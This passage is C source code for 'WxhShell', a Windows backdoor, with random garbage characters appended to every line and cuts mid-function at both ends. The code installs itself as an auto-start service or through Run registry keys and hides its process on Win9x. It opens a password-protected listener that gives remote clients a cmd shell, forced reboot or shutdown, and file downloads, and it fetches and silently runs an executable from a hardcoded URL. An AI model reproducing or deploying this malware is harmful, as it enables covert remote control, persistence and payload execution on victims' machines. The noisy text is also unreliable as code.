    } Bw4PxJs-  
  // 关机 puK /;nns  
  case 'd': { `_E@cZ4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4p]hY!7  
    if(Boot(SHUTDOWN)) +.|8W!h`1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +f\r?8s  
    else { 9m}c2:p  
    closesocket(wsh); AUwIF/>F(]  
    ExitThread(0); 2@f?yh0  
    } w6 .J&O  
    break; cp 5  
    } xmwH~UWp  
  // 获取shell ?&"!,  
  case 's': { ek]CTUl*  
    CmdShell(wsh); r8vF I6J  
    closesocket(wsh); "%)^:('Ki  
    ExitThread(0); K*oWcsu  
    break; vY(xH>Fd  
  } 'fIirGOl  
  // 退出 qb$f,E[  
  case 'x': { -{a&Zkz>V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 28d=-s=[  
    CloseIt(wsh); pYaq1_<+  
    break; ewv[nJD$  
    } C]DvoJmBs  
  // 离开 *m`KY)b=l  
  case 'q': { &#qy:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x)!NB99(tC  
    closesocket(wsh); a%)-iL X8&  
    WSACleanup(); /WE1afe_R  
    exit(1); . [5{  
    break; +)l6%QKcW  
        } :{KoZd  
  } ,MdK "Qa>  
  } Jp]eFaqp  
h`,!p  
  // 提示信息 ( mKuFz7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \t 04-  
} 6zJfsKf$  
  } "1Oe bo2  
x"QZ}28(t  
  return; q+Cq&|4 ?2  
} o$-!E(p  
CN, oH4IU  
// shell模块句柄 Gw)>i45 :  
int CmdShell(SOCKET sock) fG*366W  
{ smN |r  
STARTUPINFO si; }Pn]j7u!  
ZeroMemory(&si,sizeof(si)); I,d5Y3mC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #0;ULZ99aH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9k[>(LC  
PROCESS_INFORMATION ProcessInfo; L\Y4$e9bF8  
char cmdline[]="cmd"; O#962\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zwa%$U  
  return 0; MF["-GvP/  
} eAD uk!Iq  
rW(<[2vg  
// 自身启动模式 ]1(G:h\  
int StartFromService(void) qoXncdDHZ  
{ ^*=.Vuqy  
typedef struct $06[D91'  
{ 96FS-`  
  DWORD ExitStatus; ^<VJ8jk<  
  DWORD PebBaseAddress; l@OY8z-_  
  DWORD AffinityMask; V"`t*m$  
  DWORD BasePriority; "bC1dl<  
  ULONG UniqueProcessId; bYKe5y=  
  ULONG InheritedFromUniqueProcessId; vRQ7=N{3  
}   PROCESS_BASIC_INFORMATION; ?'$Yj>R6  
Z>si%Npm\  
PROCNTQSIP NtQueryInformationProcess; Ob#d;F  
6,q}1-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gx',~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R@8pKCL.  
(L3Etan4RE  
  HANDLE             hProcess; rV0X*[]J>  
  PROCESS_BASIC_INFORMATION pbi; ,p\:Z3{ZH  
-FGQn |h4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |r%NMw #y  
  if(NULL == hInst ) return 0; 34gC[G=  
BHZCM^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >{HQ"{Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G)G 257K"~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R#^.8g)t  
QU;bDNq,c  
  if (!NtQueryInformationProcess) return 0; O ;dtz\  
1R+/T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]9P2v X   
  if(!hProcess) return 0; ;LXwW(_6d  
#{DX*;1m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -$2a@K,i  
T{:~v+I=  
  CloseHandle(hProcess); o<8('j   
R0A|} Ee*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fR$_=WWN>h  
if(hProcess==NULL) return 0; z *FCd6X  
(E{}iq@2  
HMODULE hMod; LN0pC }F  
char procName[255]; y<5RV>"Vg  
unsigned long cbNeeded; s ]XZQr%  
h%%ryQQ&<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Pm[ kD4E=  
wr-/R"fX  
  CloseHandle(hProcess); K!,T.qA&=  
8=  kwc   
if(strstr(procName,"services")) return 1; // 以服务启动 |W#(+m  
E#!tXO&,  
  return 0; // 注册表启动 |ns B'Q  
} ;0vCZaEF  
9,wD  
// 主模块 qipV'T,S  
int StartWxhshell(LPSTR lpCmdLine) ('k9XcTPP  
{ OU esL9  
  SOCKET wsl; J6I:UML  
BOOL val=TRUE; >I@VHl O  
  int port=0; 2Onp{,'}  
  struct sockaddr_in door; lDSF  
S"4eS,5L|  
  if(wscfg.ws_autoins) Install(); Xwo%DZKN  
0,/I2!dF?  
port=atoi(lpCmdLine); z ub"Ap3  
uc>":V  
if(port<=0) port=wscfg.ws_port; uCr :+"C  
hYht8?6}m  
  WSADATA data; d%za6=M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F )Iz:  
)_YB8jUR-X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rJ)j./c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;_=N YG.  
  door.sin_family = AF_INET; )dd1B>ej]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >qz#&  
  door.sin_port = htons(port); Vel}lQD  
eIJ>bM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nq%ir8hE  
closesocket(wsl); ^) (-7H  
return 1; /9e?uC6  
} byFO^pce  
.ht-*  
  if(listen(wsl,2) == INVALID_SOCKET) { 4[(NxXH8M  
closesocket(wsl); FUarI5#fwF  
return 1; hvGD`  
} uzI=.j  
  Wxhshell(wsl); p$t|eu  
  WSACleanup(); <5? pa3  
-&COI-P8  
return 0; Pa6pq;4St  
GsmXcBzDw2  
} 1uO2I&B  
m"T}em#   
// 以NT服务方式启动 ?j0yT@G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @c-  
{ 9O -2  
DWORD   status = 0; Wqkb1~]#Y  
  DWORD   specificError = 0xfffffff; l n\qvD_  
Zwm/c]6`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XZ . T%g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^?$,sS ;Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TF%Xb>jy[  
  serviceStatus.dwWin32ExitCode     = 0; EJ>&\Iq  
  serviceStatus.dwServiceSpecificExitCode = 0; HhL;64OYa  
  serviceStatus.dwCheckPoint       = 0; +SR{ FF  
  serviceStatus.dwWaitHint       = 0; FJDE48Vi  
5Yhcnwdm!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P`ou:M{8  
  if (hServiceStatusHandle==0) return; <^\rv42'(2  
d\ 8v VZ  
status = GetLastError(); f-G)pHm  
  if (status!=NO_ERROR) 37$ ^ie)  
{ o//h|fU@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~N/r;omVc  
    serviceStatus.dwCheckPoint       = 0; p"#\E0GM  
    serviceStatus.dwWaitHint       = 0; r|=1{N x  
    serviceStatus.dwWin32ExitCode     = status; At"$Cu!k  
    serviceStatus.dwServiceSpecificExitCode = specificError; +]s,VSL5`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ov,|`FdU^T  
    return; : oXSh;\  
  } t&xoi7!$  
~g\~x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oX;.v9a  
  serviceStatus.dwCheckPoint       = 0; E?G'F3i  
  serviceStatus.dwWaitHint       = 0; =w! ik9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ? Bpnnwx  
} u0h%4f!X  
oGRk/@  
// 处理NT服务事件,比如:启动、停止 TIKkS*$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B=!!R]dxA  
{ g#=<;X2  
switch(fdwControl) >!t3~q1Cn  
{ b2OwLt9  
case SERVICE_CONTROL_STOP: UPI- j#yc  
  serviceStatus.dwWin32ExitCode = 0; ~=*o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /@F'f@;  
  serviceStatus.dwCheckPoint   = 0; z_!IA ] v  
  serviceStatus.dwWaitHint     = 0; l S)^8  
  { W;Y^(f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2n,z`(=  
  } |n/;x$Cb  
  return; c,xdkiy3  
case SERVICE_CONTROL_PAUSE: !fzS' pkk.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TP rq:"K  
  break; 6sBt6?_T  
case SERVICE_CONTROL_CONTINUE: Xg C^-A w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i%-yR DIX  
  break; @."K"i'Bl  
case SERVICE_CONTROL_INTERROGATE: ?$|tT\SFV  
  break; Byc;r-Q5V  
}; uu.X>agg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cXPpxRXBD  
} >qo!#vJc a  
"V' r}>  
// 标准应用程序主函数 p^pd7)sBr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N4vcd=uG#  
{ AioW*`[WjA  
ZAr6RRv ^  
// 获取操作系统版本 $|=| "/  
OsIsNt=GetOsVer(); TcaW'&(K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^ Kz ?SO  
f'oTN!5WF  
  // 从命令行安装 ku5|cF*%  
  if(strpbrk(lpCmdLine,"iI")) Install(); <[k3x8H'  
!-lI<$S:  
  // 下载执行文件 )/jDt dI  
if(wscfg.ws_downexe) { #kv9$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @D;K&:~|N  
  WinExec(wscfg.ws_filenam,SW_HIDE); y|| n9  
} :^]Po$fl  
v#?DWeaFS_  
if(!OsIsNt) {  p& _Z}Wv  
// 如果时win9x,隐藏进程并且设置为注册表启动 k*C69  
HideProc(); ZWCsrV*;  
StartWxhshell(lpCmdLine); i{fw?))+  
} Z?+ )ox  
else NPH(v`  
  if(StartFromService()) bo=H-d|  
  // 以服务方式启动 }!iopu  
  StartServiceCtrlDispatcher(DispatchTable); }ppApJT  
else jr`T6!\  
  // 普通方式启动 w5i*pOG)Z  
  StartWxhshell(lpCmdLine); ?ES{t4"  
vFe=AY<Rt|  
return 0; QT%`=b  
} fz|*Plv  
5S4Nx>  
96\FJHt Z  
:rr<#F  
=========================================== &b@_ah+f  
bSIY|/d+  
(Iv@SiZf(  
~;HASHu  
D\G 8p;  
0")_%  
" pss')YP.  
>7WT4l)7!b  
#include <stdio.h> 1jx?zvE,  
#include <string.h> 7oE:]  
#include <windows.h> `m'RvUc  
#include <winsock2.h> :tV"uWZFU  
#include <winsvc.h> mg*iW55g  
#include <urlmon.h> Zdrniae ah  
MTwzL<@$  
#pragma comment (lib, "Ws2_32.lib") ~Xx}:@Ld  
#pragma comment (lib, "urlmon.lib") /*g0M2+OZo  
HxR5&o  
#define MAX_USER   100 // 最大客户端连接数 "A[. 7w  
#define BUF_SOCK   200 // sock buffer 6U).vg<  
#define KEY_BUFF   255 // 输入 buffer l%V+] skS  
lGet)/w;c  
#define REBOOT     0   // 重启 Y3|_&\ v6  
#define SHUTDOWN   1   // 关机 tG]W!\C'h  
g1XpERsSEV  
#define DEF_PORT   5000 // 监听端口 v#d3W| ~  
"vYjL&4h  
#define REG_LEN     16   // 注册表键长度 1&h\\&ic  
#define SVC_LEN     80   // NT服务名长度 )l*3^kwL{U  
?z.  Z_A&  
// 从dll定义API FS7D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E\2f"s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r{~b4~kAf5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [g==#[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  <}^p5|  
P{RGW.Ci@  
// wxhshell配置信息 >xRUw5jN  
struct WSCFG { (wH+0  
  int ws_port;         // 监听端口 bz1`f>%l  
  char ws_passstr[REG_LEN]; // 口令 KfK5e{yT  
  int ws_autoins;       // 安装标记, 1=yes 0=no $LBgBH &z  
  char ws_regname[REG_LEN]; // 注册表键名 &w=ul'R98  
  char ws_svcname[REG_LEN]; // 服务名 n1x3q/~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iOAn/[^xk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ga^:y=m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0W 1bZPM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }L`Z<h*H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <UIE-#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p=[I;U-#H  
A(XX2f!i  
}; XB[EJGaX  
Wa!C2nB  
// default Wxhshell configuration ZKS]BbMZa  
struct WSCFG wscfg={DEF_PORT, tI0D{Xrc  
    "xuhuanlingzhe", VYK%0S9yH[  
    1, Cpn!}!Gnf  
    "Wxhshell", ;iN [du  
    "Wxhshell", ErQGVE;zk  
            "WxhShell Service", *I9O63  
    "Wrsky Windows CmdShell Service", %xX b5aY  
    "Please Input Your Password: ", !6 kn>447Y  
  1, i\>?b)a>  
  "http://www.wrsky.com/wxhshell.exe", ;b|=osyT\  
  "Wxhshell.exe" T0o0_R  
    }; CQ{pv3)  
n&Q0V.  
// 消息定义模块 MbQ%'z6D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rx@0EPV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ziQ&M\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b. :2x4  
char *msg_ws_ext="\n\rExit."; gP!k[E ,Q8  
char *msg_ws_end="\n\rQuit."; B;<zA' 1  
char *msg_ws_boot="\n\rReboot..."; 2%-/}'G*  
char *msg_ws_poff="\n\rShutdown..."; |/u,6`  
char *msg_ws_down="\n\rSave to "; jU{~3Gn?  
0Y!~xyg/  
char *msg_ws_err="\n\rErr!"; OP``+z>  
char *msg_ws_ok="\n\rOK!"; AgOti]`aR  
E,/nK  
char ExeFile[MAX_PATH]; - ^>7\]  
int nUser = 0; G1SOvdq  
HANDLE handles[MAX_USER]; %y+v0.aWH+  
int OsIsNt; 8wCB}qC  
\XbCJJP  
SERVICE_STATUS       serviceStatus; !^aJS'aq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qjN*oM,  
5_rx$avm  
// 函数声明 9$ixjkIg  
int Install(void); @ n$/2y_.  
int Uninstall(void); d-I&--"ju  
int DownloadFile(char *sURL, SOCKET wsh); F ^)( 7}ph  
int Boot(int flag); Vo(bro4ZQi  
void HideProc(void); G4EuW *~  
int GetOsVer(void); =pb ru=/  
int Wxhshell(SOCKET wsl); SM.KM_%K  
void TalkWithClient(void *cs); ZkF6AF   
int CmdShell(SOCKET sock); T?*f}J  
int StartFromService(void); >%c>R'~h  
int StartWxhshell(LPSTR lpCmdLine); mfk^t`w_  
C!|Yz=e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NqN}] nu6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =AX"'q  
I$ ?.9&.&  
// 数据结构和表定义 *dx E (dP  
SERVICE_TABLE_ENTRY DispatchTable[] = :d|~k  
{ whQJWi=ck  
{wscfg.ws_svcname, NTServiceMain}, [$`%ve  
{NULL, NULL} T@ zV   
}; {Lsl2@22  
d*LW32B@  
// 自我安装 lB   
int Install(void) ^(Wu$\SA  
{ O_v*,L!  
  char svExeFile[MAX_PATH]; PeJIa %iE  
  HKEY key; WIw*//nw  
  strcpy(svExeFile,ExeFile); ,#j'~-5  
e_IRF+>  
// 如果是win9x系统,修改注册表设为自启动 pzeCdHF  
if(!OsIsNt) { pL2{zW`FDh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +77B656  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wotw nE  
  RegCloseKey(key); )D&xyC}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Edq[5Ah  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dQy K4T  
  RegCloseKey(key); <4582x,G  
  return 0; zxeT{AFPr?  
    } :a9   
  } _Sl3)  
} ZKai*q4?  
else { [gj>ey8T  
}d%Fl}.Ez  
// 如果是NT以上系统,安装为系统服务 Yh; A)N p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \t)`Cp6,[b  
if (schSCManager!=0) e/}4Pt  
{ N! I$Qtr,  
  SC_HANDLE schService = CreateService ;RYIc0%  
  ( /y(0GP4A  
  schSCManager, /O~Np|~v  
  wscfg.ws_svcname, "<LWz&e^^  
  wscfg.ws_svcdisp, gyuBmY  
  SERVICE_ALL_ACCESS, 13+. >  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >T-4!ZvS\j  
  SERVICE_AUTO_START, U>DCra;  
  SERVICE_ERROR_NORMAL, iUk#hLLC  
  svExeFile, 8e1Z:axn0  
  NULL, <T&v\DN  
  NULL,  K~B  
  NULL, w^U{e xo  
  NULL, u08QE,  
  NULL 8|zOgn{  
  ); RGrQ>'RL  
  if (schService!=0) YrV@k*O*  
  { f+8 QAvh  
  CloseServiceHandle(schService); dCe LW  
  CloseServiceHandle(schSCManager); 9Vo*AK'&U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]Y!x7  
  strcat(svExeFile,wscfg.ws_svcname); w 5?D]u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zTc*1(^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qj*.Z4ue  
  RegCloseKey(key); [FLR&=.(  
  return 0; ,Gg;:)k\  
    } QS5t~rb  
  } E6Z kO/  
  CloseServiceHandle(schSCManager); \2 e^x  
} `$ S&:Q,  
} &Jc atI  
-5 D<zP/  
return 1; f:ObI  
} /s} "0/Y\  
{(!JYz~P  
// 自我卸载 1 l"2 ~k  
int Uninstall(void) rM"27ud[`_  
{ d?T!)w  
  HKEY key; 3 h d30o  
6#!CBY^{  
if(!OsIsNt) { $`55 E(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _p*8ke  
  RegDeleteValue(key,wscfg.ws_regname); 6{Q-]LOc[.  
  RegCloseKey(key); [&PF ;)i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w2'q9pB+  
  RegDeleteValue(key,wscfg.ws_regname); >ItT269G  
  RegCloseKey(key); )38%E;T{X  
  return 0; (u} /( Ux  
  } ]i@73h YT  
} }`g-eF >p  
} mXOI"B9Sq  
else { ]i$0s  
t`+A;%=K]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jr?/wtw  
if (schSCManager!=0) HFZ'xp|3dn  
{ 9`*Eeb>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H8FvI"J  
  if (schService!=0) w9G|)UDib  
  { ekL;SN  
  if(DeleteService(schService)!=0) { wlJi_)!  
  CloseServiceHandle(schService); A*?PH`bY  
  CloseServiceHandle(schSCManager); d \l{tmte  
  return 0; rB$~,q&.V  
  } ,MNv}w@  
  CloseServiceHandle(schService); '<BLkr# @  
  } t]@>kAA>2L  
  CloseServiceHandle(schSCManager); j<*7p:L7_>  
} _&BK4?H@b  
} =g9n =spAn  
W Su6chz)  
return 1; kpIn_Ea  
} Z%]K,9K  
G?'^"ae"Z  
// 从指定url下载文件 gVfFEF.  
int DownloadFile(char *sURL, SOCKET wsh) ,3Q~X$f  
{ w;`Jj -  
  HRESULT hr; $|-Lw!)D  
char seps[]= "/"; m0TVi]v  
char *token; JM,%| E  
char *file; _d5:Y  
char myURL[MAX_PATH]; 1vj@ qw3  
char myFILE[MAX_PATH]; 4d5c ]%  
aC\f;&P >  
strcpy(myURL,sURL); z&amYwQcI  
  token=strtok(myURL,seps); 9 A ?{}c  
  while(token!=NULL) =wdh# {  
  { R+Hu?Dv&F  
    file=token; |p&EP2?T  
  token=strtok(NULL,seps); BZ?3=S1*  
  } CF{b Yf^%  
&/]en|f"  
GetCurrentDirectory(MAX_PATH,myFILE); $qQYxx@  
strcat(myFILE, "\\"); ]O"f%   
strcat(myFILE, file); r6Yd"~ n  
  send(wsh,myFILE,strlen(myFILE),0); ly17FLJ].  
send(wsh,"...",3,0); k8+J7(_c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hhy+bA}  
  if(hr==S_OK) id1cZig  
return 0; |VWT4*K  
else m6ge %  
return 1; m7'<k1#"Y  
Wn(!6yid  
} U]sAYp^$  
SWV*w[X<X  
// 系统电源模块 LUMbRrD-  
int Boot(int flag) iAu/ t  
{ O@T,!_Zf  
  HANDLE hToken; q>2bkcGY#  
  TOKEN_PRIVILEGES tkp; Z)`)9]*  
Kq3c Kp4  
  if(OsIsNt) { \dtiv&x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `|ie#L(:7/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <#C,66k  
    tkp.PrivilegeCount = 1; ][$I~ nRf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5 3%>)gk:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z!"vez  
if(flag==REBOOT) { 4|`>}Nu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +twoUn{#  
  return 0; 2e1KF=N+  
} 6WY/[TC-  
else { @=Q!a (g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XGx[Ny_A2  
  return 0; *vD.\e~  
} \FVfV`x  
  } \"a{\E,{;  
  else { aV'bI  
if(flag==REBOOT) { GEWjQ;g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v745F Iy<  
  return 0; {|?^@  
} '[{<a Eo  
else { Food<(!.>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y~I<Locv  
  return 0; D!rPF)K )  
} *U[yeE].  
} @Dh2@2`>  
FOXSs8"c]!  
return 1; LORcf1X/  
} 5daq}hsQs  
@L3XBV2  
// win9x进程隐藏模块 T$%|=gq  
void HideProc(void) p\w<~ pN[  
{ 4nsJZo#S/  
H$h#n~W~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j<p.#jkT  
  if ( hKernel != NULL ) $d?W1D<A  
  { G\@pg;0|y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ljKIxSvCFp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +X=*>^G(-  
    FreeLibrary(hKernel); Y,}_LS$f  
  } Jl/wP   
WoEK #,I;  
return; nq M7Is  
} p~$cwbQ!  
O(T5  
// 获取操作系统版本 $H)^o!  
int GetOsVer(void) 4@ PA+(kvS  
{ Xqf,_I=V  
  OSVERSIONINFO winfo; '#'noB;,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4V JUu`[  
  GetVersionEx(&winfo); 3Z b]@n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RxP H[7oZ  
  return 1; yix[zfQt0  
  else 6zi>Q?] 1  
  return 0; <CyU9`ye  
} vY4sU@+V  
AQ~ xjU  
// 客户端句柄模块 N6Mr#A-{  
int Wxhshell(SOCKET wsl) IO\4dU)  
{ o:Fq|?/e  
  SOCKET wsh; YWFE*wQ!  
  struct sockaddr_in client; ^jL '*&l  
  DWORD myID; R BYhU55B  
|6E_N5~  
  while(nUser<MAX_USER) }Pcm'o_wT  
{ Og\k5.! ,  
  int nSize=sizeof(client); 9bM\ (s/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Riz!(G  
  if(wsh==INVALID_SOCKET) return 1; Ir9GgB  
M et]|&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F$7!j$ Z  
if(handles[nUser]==0) _'=,c"  
  closesocket(wsh); 40t xZFQ0  
else (\AN0_  
  nUser++; --5F*a{R|  
  } [l23b{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q(KjhM  
g>lZs  
  return 0; kBo:)Vej4  
} [X(4( 1i  
J&xZN8jW   
// 关闭 socket M8/a laoT  
void CloseIt(SOCKET wsh) 76nH)^%l<  
{ ~YYnn7)  
closesocket(wsh); Su#0 F0  
nUser--; ![_x/F9  
ExitThread(0); 'cD?0ou`o  
} pQz1!0  
[YDSS/  
// 客户端请求句柄 s3>a  
void TalkWithClient(void *cs) EQ1**[$  
{ ]  ,|,/~  
QaWS%0go  
  SOCKET wsh=(SOCKET)cs; 1JJsYX  
  char pwd[SVC_LEN]; owAO&"C  
  char cmd[KEY_BUFF]; G/_IY;  
char chr[1]; z(|^fi(  
int i,j; 5ya9VZ5#  
fkV@3sj  
  while (nUser < MAX_USER) { gaF6 j!p  
o<G 9t6~  
if(wscfg.ws_passstr) { WZ CI*'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z vysLHj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a|ufm^ F  
  //ZeroMemory(pwd,KEY_BUFF); *6Wiq5M>.  
      i=0; (V{/8%mWc  
  while(i<SVC_LEN) { 1dH|/9  
^? fOccfQ{  
  // 设置超时 uFkl^2  
  fd_set FdRead; (@?mm  
  struct timeval TimeOut; cn'>dz3v  
  FD_ZERO(&FdRead); m:H^m/g  
  FD_SET(wsh,&FdRead); m^A2 8X7  
  TimeOut.tv_sec=8; 1Viz`y)^  
  TimeOut.tv_usec=0; -,J<X\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QYH-"-)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \nl(tU#j  
SI7rTJ]/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3c<aI =$^  
  pwd=chr[0]; 78& |^sq  
  if(chr[0]==0xd || chr[0]==0xa) { <L}@p8Lq  
  pwd=0;  ? wS}'  
  break; :j\7</uu  
  } &jqaW 2  
  i++; )x.%PUA  
    } iU)I"#\l'k  
T ,lM(2S[  
  // 如果是非法用户,关闭 socket }3Es&p$9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z\!,f.>g  
} `|t,Uc|7!  
k&Pt\- 9on  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &YhAB\Rw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w~3X m{  
h@,ja  
while(1) { sy&[Q{,4  
(v]%kXy/G  
  ZeroMemory(cmd,KEY_BUFF); 3?93Pj3oPt  
3[m~-8  
      // 自动支持客户端 telnet标准   @r"\bBi  
  j=0; mqSVd^  
  while(j<KEY_BUFF) { }lZEdF9GhG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jv)+qmqo!  
  cmd[j]=chr[0]; bvox7V>  
  if(chr[0]==0xa || chr[0]==0xd) { "HOZ2_(o  
  cmd[j]=0; Sn=6[RQ>P  
  break; 3smkY  
  } T4eJ:u*;  
  j++; I68u%fCv  
    } 5y#,z`S  
E_,/)U8  
  // 下载文件 *^?tr?e%I<  
  if(strstr(cmd,"http://")) { xT*'p&ap  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vq$6e*A  
  if(DownloadFile(cmd,wsh)) `PWKA;W$0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [,=?e  
  else }M07-qIX{  
